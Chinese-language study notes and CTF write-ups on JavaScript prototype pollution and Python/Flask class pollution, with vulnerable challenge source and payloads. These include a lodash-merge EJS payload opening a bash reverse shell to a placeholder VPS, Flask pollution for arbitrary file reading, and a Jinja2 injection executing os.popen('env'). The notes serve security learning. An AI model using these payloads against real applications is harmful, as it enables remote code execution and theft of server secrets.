原型链污染
原型和原型链
和类和对象的继承关系很像
对比起来理解就很容易了:
javascript
https://blog.csdn.net/qq_51586883/article/details/119867720
例子:
function person(){ this.name="liahuqiu"; this.test=function () { return 23333; } } person.prototype.a=3; web=new person(); console.log(web.test()); console.log(web.a)
|
假设有merge函数
function merge(target, source) { for (let key in source) { if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } }
|
那么利用js的特性:
let a={}; let b={n:1,"__proto__":2};
merge(a,b);
|
JSON.parse的时候这个时候__proto__就会被当做键名
不使用parse则__proto__解析为原型
[NSSCTF 2nd]MyJs
https://blog.csdn.net/qq_34942239/article/details/136431085
查看源码发现提示查看/source接口
那么后端使用的应该是node.js
const express = require('express'); const bodyParser = require('body-parser'); const lodash = require('lodash'); const session = require('express-session'); const randomize = require('randomatic'); const jwt = require('jsonwebtoken') const crypto = require('crypto'); const fs = require('fs');
global.secrets = [];
express() .use(bodyParser.urlencoded({extended: true})) .use(bodyParser.json()) .use('/static', express.static('static')) .set('views', './views') .set('view engine', 'ejs') .use(session({ name: 'session', secret: randomize('a', 16), resave: true, saveUninitialized: true })) .get('/', (req, res) => { if (req.session.data) { res.redirect('/home'); } else { res.redirect('/login') } }) .get('/source', (req, res) => { res.set('Content-Type', 'text/javascript;charset=utf-8'); res.send(fs.readFileSync(__filename)); }) .all('/login', (req, res) => { if (req.method == "GET") { res.render('login.ejs', {msg: null}); } if (req.method == "POST") { const {username, password, token} = req.body; const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) { return res.render('login.ejs', {msg: 'login error.'}); } const secret = global.secrets[sid]; const user = jwt.verify(token, secret, {algorithm: "HS256"}); if (username === user.username && password === user.password) { req.session.data = { username: username, count: 0, } res.redirect('/home'); } else { return res.render('login.ejs', {msg: 'login error.'}); } } }) .all('/register', (req, res) => { if (req.method == "GET") { res.render('register.ejs', {msg: null}); } if (req.method == "POST") { const {username, password} = req.body; if (!username || username == 'nss') { return res.render('register.ejs', {msg: "Username existed."}); } const secret = crypto.randomBytes(16).toString('hex'); const secretid = global.secrets.length; global.secrets.push(secret); const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"}); res.render('register.ejs', {msg: "Token: " + token}); } }) .all('/home', (req, res) => { if (!req.session.data) { return res.redirect('/login'); } res.render('home.ejs', { username: req.session.data.username||'NSS', count: req.session.data.count||'0', msg: null }) }) .post('/update', (req, res) => { if(!req.session.data) { return res.redirect('/login'); } if (req.session.data.username !== 'nss') { return res.render('home.ejs', { username: req.session.data.username||'NSS', count: req.session.data.count||'0', msg: 'U cant change uid' }) } let data = req.session.data || {}; req.session.data = lodash.merge(data, req.body); console.log(req.session.data.outputFunctionName); res.redirect('/home'); }) .listen(827, '0.0.0.0')
|
payload:
{ "__proto__":{ "client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps_ip/4567 0>&1\"');","compileDebug":true } }
|
python
对于python来说就没有原型的概念了
事实上就是父类与子类的继承关系
也就是说子类继承的变量相当于父类的一个引用
所以如果改变父类的属性那么子类也会跟着改变
https://xz.aliyun.com/t/13072?time__1311=GqmhBKwKGNDKKYIq7KD%3DGCYDkt2ZDFmmD
def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
|
污染过程:
class father: secret = "hello" class son_a(father): pass class son_b(father): pass def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) instance = son_b() payload = { "__class__" : { "__base__" : { "secret" : "world" } } } print(son_a.secret)
print(instance.secret)
merge(payload, instance) print(son_a.secret)
print(instance.secret)
|
全局变量的位置:
a=1 def demo(): pass class A : def __init__(self): pass print(demo.__globals__==globals()==A.__init__.__globals__)
|
针对flask的原型链污染
2025_0xgame_Lemon_RevEnge
from flask import Flask,request,render_template import json import os
app = Flask(__name__)
def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
class Dst(): def __init__(self): pass
Game0x = Dst()
@app.route('/',methods=['POST', 'GET']) def index(): print(Game0x.__init__.__globals__["app"].__dict__) if request.data: merge(json.loads(request.data), Game0x) return render_template("index.html", Game0x=Game0x)
@app.route("/<path:path>") def render_page(path): if not os.path.exists("templates/" + path): return "Not Found", 404 return render_template(path)
if __name__ == '__main__': app.run(host='0.0.0.0', port=9000)
|
没有能够专门用来污染的目标点
那么就是针对flask的一些属性进行污染
因为json没有办法承载对象,所以我们是没法打内存马的,lambda表达式渲染不出来
首先通过进入点的全局作用域来获得app
{ "__init__": { "__globals__": { "app": { } } } }
|
然后在app的__dict__中获得所有的可写属性,可以打出来看一下有哪些
{ 'import_name': '__main__', '_static_folder': 'static', '_static_url_path': None, 'template_folder': 'templates', 'root_path': 'c:\\Users\\20889\\Downloads\\app', 'view_functions': { 'static': '<function object>', 'index': '<function index object>', 'render_page': '<function render_page object>' }, 'error_handler_spec': '<defaultdict object>', 'before_request_funcs': '<defaultdict object>', 'after_request_funcs': '<defaultdict object>', 'teardown_request_funcs': '<defaultdict object>', 'template_context_processors': '<defaultdict object>', 'url_value_preprocessors': '<defaultdict object>', 'url_default_functions': '<defaultdict object>', 'instance_path': 'C:\\Users\\20889\\Downloads\\app\\instance',
'config': '<Config object>', 'aborter': '<werkzeug.exceptions.Aborter object>', 'json': '<flask.json.provider.DefaultJSONProvider object>', 'url_build_error_handlers': [], 'teardown_appcontext_funcs': [], 'shell_context_processors': [], 'blueprints': {}, 'extensions': {},
'url_map': 'Map object: [static, index, render_page]', 'subdomain_matching': False, '_got_first_request': True, 'cli': '<AppGroup app>', 'name': 'app' }
|
对这三项进行污染可以做到读文件
'_static_folder': 'static', '_static_url_path': None, 'template_folder': 'templates'
|
payload:
{ "__init__": { "__globals__": { "app": { "__dict__": { "_static_folder": "/", "_static_url_path": "/static" } } } } }
|
对于多重引入模块的污染
对于已经import sys的环境可以使用sys库来获取所有的已引入模块
具体payload大概这样:
payload = { "__init__" : { "__globals__" : { "sys" : { "modules" : { "test_1" : { "secret_var" : 514, "target_class" : { "secret_class_var" : "Poluuuuuuted ~" } } } } } } }
|
那么如果没有拿到的话就要通过内置Loader类进行获取
print("sys" in dir(__import__("importlib.__init__")))
print("sys" in dir(__import__("importlib._bootstrap")))
print("sys" in dir(__import__("importlib._bootstrap_external")))
print("sys" in dir(__import__("importlib._common")))
print("sys" in dir(__import__("importlib.abc")))
print("sys" in dir(__import__("importlib.machinery")))
print("sys" in dir(__import__("importlib.metadata")))
print("sys" in dir(__import__("importlib.resources")))
print("sys" in dir(__import__("importlib.util")))
|
loader类通过一个模块的__spec__.__loader__属性获取即可
实现RCE的污染
_got_first_request
我们知道新版的flask中对内存马进行了限制,如果已经启动,收到第一个请求,那么就无法再直接执行添加路由之类的操作
但是对这个属性进行污染之后就不会触发检查了:
{ "__init__":{ "__globals__":{ "app":{ "_got_first_request":False } } } }
|
对jinja表示符污染
https://jinja.palletsprojects.com/en/stable/api/#jinja2.Environment
{ "__init__" : { "__globals__" : { "app" : { "jinja_env" :{ "variable_start_string" : "[[", "variable_end_string":"]]" } } } }
|
如果使用render_template()函数渲染模版:
{ "__init__":{ "__globals__":{ "__loader__":{ "__init__":{ "__globals__":{ "sys":{ "modules":{ "jinja2":{ "runtime":{ "exported":[ "*;__import__('os').popen('env').read();#" ] } } } } } } } } } }
|